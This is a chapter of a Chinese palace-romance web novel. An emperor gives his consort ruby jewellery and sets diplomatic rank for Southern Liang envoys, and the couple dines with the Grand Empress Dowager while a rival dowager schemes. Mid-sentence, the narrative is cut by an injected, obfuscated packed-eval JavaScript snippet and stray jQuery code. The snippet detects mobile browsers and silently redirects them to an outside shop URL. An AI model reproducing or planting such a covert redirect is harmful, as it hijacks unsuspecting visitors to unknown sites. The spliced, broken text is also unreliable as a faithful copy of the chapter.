14.亲昵

作品:《贵妃不可能不爱朕

    天色晴好,阳光丰沛,宝匣中盛着的一只赤金掐丝红宝珠镯愈见璀璨华美。


    饶是钱嘉绾自幼生于富贵,见惯各色奇珍,见到这般名贵的饰物也不由微微一愣。


    徐成笑容满面:“这是陛下亲自选了玉石,传令少府监专为贵妃娘娘打造的,特命奴才送来。”


    略微打量过两眼,钱嘉绾自是知道这镯子用料的考究与手艺的不俗,恐怕一早便开始准备。


    除了珠镯外,匣中软缎之上另有少府监打造的一对赤金掐丝红宝石耳坠,一支赤金累丝红宝石凤簪并一枚金镶红宝石戒指。几件饰物同出一炉,赤金辉映着红宝,十足十的华贵耀目,又不落俗套。


    钱嘉绾心中很是喜欢:“还请徐总管替本宫多谢陛下。”


    “娘娘说得哪里话。”


    徐成告退,御书房中陛下与诸位大人仍在议事,他便不急于复命。


    十一月初前线大捷,大齐连克南梁寿州、扬州两座重镇,楚州亦已成为齐军囊中物。


    南梁主动派出使者入军中求和,镇国公不敢擅断,星夜传书回禀陛下。


    傅允珩下旨准其和谈,两方暂且休战。


    南梁修书一封,将派遣使团入洛京议和。鸿胪寺与礼部先行接洽,然梁人狡诈,刻意将入京时间定于新年。


    如此一来,本是求和而来的南梁使团,对外宣扬便成了“贺新正”。


    鸿胪寺卿以年节官府封印、不便和谈为由与南梁使臣商榷,然对方却借口山水迢迢,冬日河水封冻赶路不便,一直拖延行程。


    南梁历来不敬中原,倚仗长江天险自封帝号,又新灭南汉,以南方霸主自居。


    如此桀骜不驯,御书房中朝臣筹谋献策,各抒己见,万不可让南梁轻易得逞。


    傅允珩命鸿胪寺卿呈上使臣名录,每逢年节,向大齐称臣的四方藩国都会入京朝贺,位次各有尊卑,因时变动。


    傅允珩道:“将南梁使臣位次,列于诸藩之首。”


    鸿胪寺卿与礼部尚书越众领旨,待反应过来后已是喜上眉梢。


    抬南梁位次于诸藩之上,看似尊崇,实则是将南梁稳稳划入藩属之列。


    而大齐摆足了礼遇,南梁明面上根本挑不出错处。


    “陛下圣明。”众臣齐齐躬身。


    “此番南梁正、副使人选,尽快探明,报与朕知晓。”


    “臣等领旨。”


    ……


    料理完今日政事约莫是未时中,傅允珩吩咐摆驾永宁宫。


    今夜明惠皇祖母在颐宁宫中设家宴,他正好接了她一同前去。


    时辰尚早,傅允珩并未着人通传。


    他踏入殿中,她大约是午睡才醒,乌发只简单绾了云髻,簪了一支赤金嵌红宝的发钗。


    “陛下。”钱嘉绾显然感到意外,“陛下怎么这个时辰来了?”


    傅允珩打量着殿中略微忙乱的模样,笑问道:“你忙什么呢?”


    钱嘉绾腕上正戴着那只新得的赤金掐丝红宝珠镯,她喜欢这只镯子,自然立刻就戴上了。


    “臣妾想给它好生配一身衣裳,陛下既有闲暇,不如帮臣妾一同看看?”


    “好啊。”


    送出去的礼物得人如此喜爱珍视,自是令人愉悦。傅允珩望她皓腕间的珠镯,绯红的颜色果然极为衬她。


    钱嘉绾笑意盈盈,珠镯贵重精巧,摆着无趣,她戴上才更好看。


    她拉着傅允珩在窗畔的贵妃榻坐下,让他记住自己现在穿的这身茜色织金缠枝莲罗裙,接着便提起裙摆进内殿更衣。


    秋穗带人为陛下奉茶,不敢怠慢陛下。


    她们退去一旁,栗子仍霸占在原地。对于这个频频闯入它地盘、此刻还占了主人最爱的贵妃榻的客人,栗子睁着圆溜溜的眼睛,对他连续哈着气,试图吓退对方。


    傅允珩的视线淡淡扫来,栗子竖起了尾巴,意识到来着不善。


    它惯是欺软怕硬的,眼前人气场太过镇定强大,栗子“喵呜”一声,默默向后撤去。它窝窝囊囊躲去了屏风下,只留一双眼睛仍盯着傅允珩。


    倒是有些憨态可掬,傅允珩命人拿了些吃食来喂它。


    不多时内殿门打开,钱嘉绾新换了一身石榴红撒花软缎宫装,裙面绣着细碎蕊珠。她在陛下面前转了一圈,裙摆如花瓣般徐徐盛放,仿佛笼着一层浅润霞光。


    “哪一件更好看?”


    傅允珩:“都好看。”


    钱嘉绾本就拿不定主意,闻言唇轻轻翘起,轻哼一声:“陛下惯会敷衍。”


    娇俏又可爱,傅允珩看失神了片刻,又感到无辜:“……朕说得是实情。”


    “哼。”


    知道指望不上他,钱嘉绾想了想,最终还是选了身上的石榴红裙,省去更换的麻烦。


    她坐去妆台前,侍女为她重新绾发、上妆。


    透过铜镜,她瞧见陛下一直沉静地等候在原处看她梳妆,面上没有丝毫不耐。


    她眉眼间落了灿烂笑意,对他明媚一笑。


    还未等傅允珩回应,栗子更快抢去了话语:“喵呜!”


    落霞漫天,钱嘉绾将梳妆打扮的时辰把握得极好。


    颐宁宫离永宁宫不远不近,傅允珩未传御辇,二人并肩偕行。


    晚霞绚烂似锦,傅允珩望着身畔盛装明艳的姑娘,心中涌起些遗憾。


    他们的新婚夜,隔着一柄团扇,昏黄的烛火下他知道她是极美的。


    他没有好生看过她新婚的模样。


    颐宁宫中晚膳已预备妥当,傅允珩与钱嘉绾一同向明惠太皇太后行了礼:“皇祖母万福。”


    太皇太后望着这一双般配的小儿女,慈爱道:“快起来,都入席罢。”


    分明规制相同,可颐宁宫就是会让小辈们觉得比慈庆宫更亲切自在。


    今日的膳食是明惠太皇太后身边的福安亲自盯看着的,各有陛下与贵妃娘娘喜爱的膳食。


    明惠太皇太后膝下并无亲生儿女,对后宫中的晚辈皆是一视同仁疼爱,鲜有疾言厉色时。钱嘉绾曾说太皇太后德昭后宫,皆是肺腑之言,并非虚话。


    虽则席间钱嘉绾与傅允珩少有交谈,但明惠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193002|196931||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太皇太后只望他们二人间无意识便流露出的亲密气息,一双眼睛早已看穿了一切。


    先前锦娘在数封来信中忧心忡忡嘉儿的婚事,她主动向好友提及可让嘉儿嫁入宫城。原本她是想着以陛下的品行心性,就算他不喜嘉儿,也会善待于她,保她一生富贵顺遂。


    现下想想实在是自己多虑了,嘉儿这般聪慧又貌美,连她都喜欢得紧,更何况是皇帝这个风华正茂的年岁。


    ……


    颐宁宫中祖孙其乐融融,慈庆宫中稍显冷清。


    素和为明章太皇太后逐一摘下凤钗,日前为了保魏国公府的二郎君,太皇太后与陛下间闹了些许不快。不过陛下到底顾及孝道与太皇太后的祖孙之情,全了魏国公府体面。


    这些日子陛下来慈庆宫请安的日子少了些,但一应供奉却是有增无减的。


    明章太皇太后没放在心上,再如何起了龃龉,那也只是一时,陛下可是她嫡亲的孙子。不似颐宁宫那头汲汲营营,惯会顺着陛下。


    不过经此一事又给明章太皇太后提了醒,这后宫中还是得有自己的人。那日她看皇帝言行间对贵妃很有几分维护,而贵妃又是颐宁宫费尽心思举荐的人,伶牙俐齿,怕是来日就要恃宠而骄了。


    素和支开侍女去端安神汤,轻柔地为太皇太后捶着肩:“贵妃娘娘新得陛下喜欢,对您也是向来恭敬有加的您犯不着在这时候与陛下过不去呐。”


    那日引了贵妃娘娘入局,素和到底有些愧疚,适当劝了几句。


    她知道如何说到太皇太后心坎上:“贵妃娘娘出自钱唐,位份是尊贵,但也难再进一步了。”


    明章太皇太后闭目养神,心情稍稍舒畅些。颐宁宫争出个贵妃之位又如何,大齐后位是无论如何都不会旁落的。


    她举荐的人选,势必要压颐宁宫一头。


    ……


    月色皎皎,颐宁宫中晚膳撤去,傅允珩与钱嘉绾陪着皇祖母说话。


    明惠太皇太后提起一事:“冬月十九是菩萨生辰,哀家想着要去弘安寺一趟。”


    弘安寺乃皇家圣寺,坐落于翠微山上。高祖在位时亲下诏敕造整修,定名弘安,取“弘佛佑国,天下安和”之意。


    皇祖母每隔两年都要往弘安寺礼佛,傅允珩应道:“皇祖母既定下日子,孙儿这便让内廷与太常寺安排。”


    明惠太皇太后笑容安心,又转向钱嘉绾:“这回嘉儿陪哀家一同去罢?路上正好给哀家做个伴。”


    太皇太后开了金口,傅允珩和钱嘉绾哪有推辞的道理。


    正好临近年关朝政繁忙,又逢南梁遣使议和,傅允珩忧心自己难免会顾不到钱嘉绾些。这几日天气宜人,让她跟着皇祖母出宫散散心也好。


    他道:“弘安寺的佛祖很是灵验,翠微山下风光亦好,可以好生求一求。”


    “嗯!”钱嘉绾点头,她本也是不拘去哪里的。陛下这么一提,她对这一行充满期待,


    瞧他们旁若无人地说着小话,明惠太皇太后掩了眸中笑意。


    所谓小别胜新婚,她是时候添上一把火喽。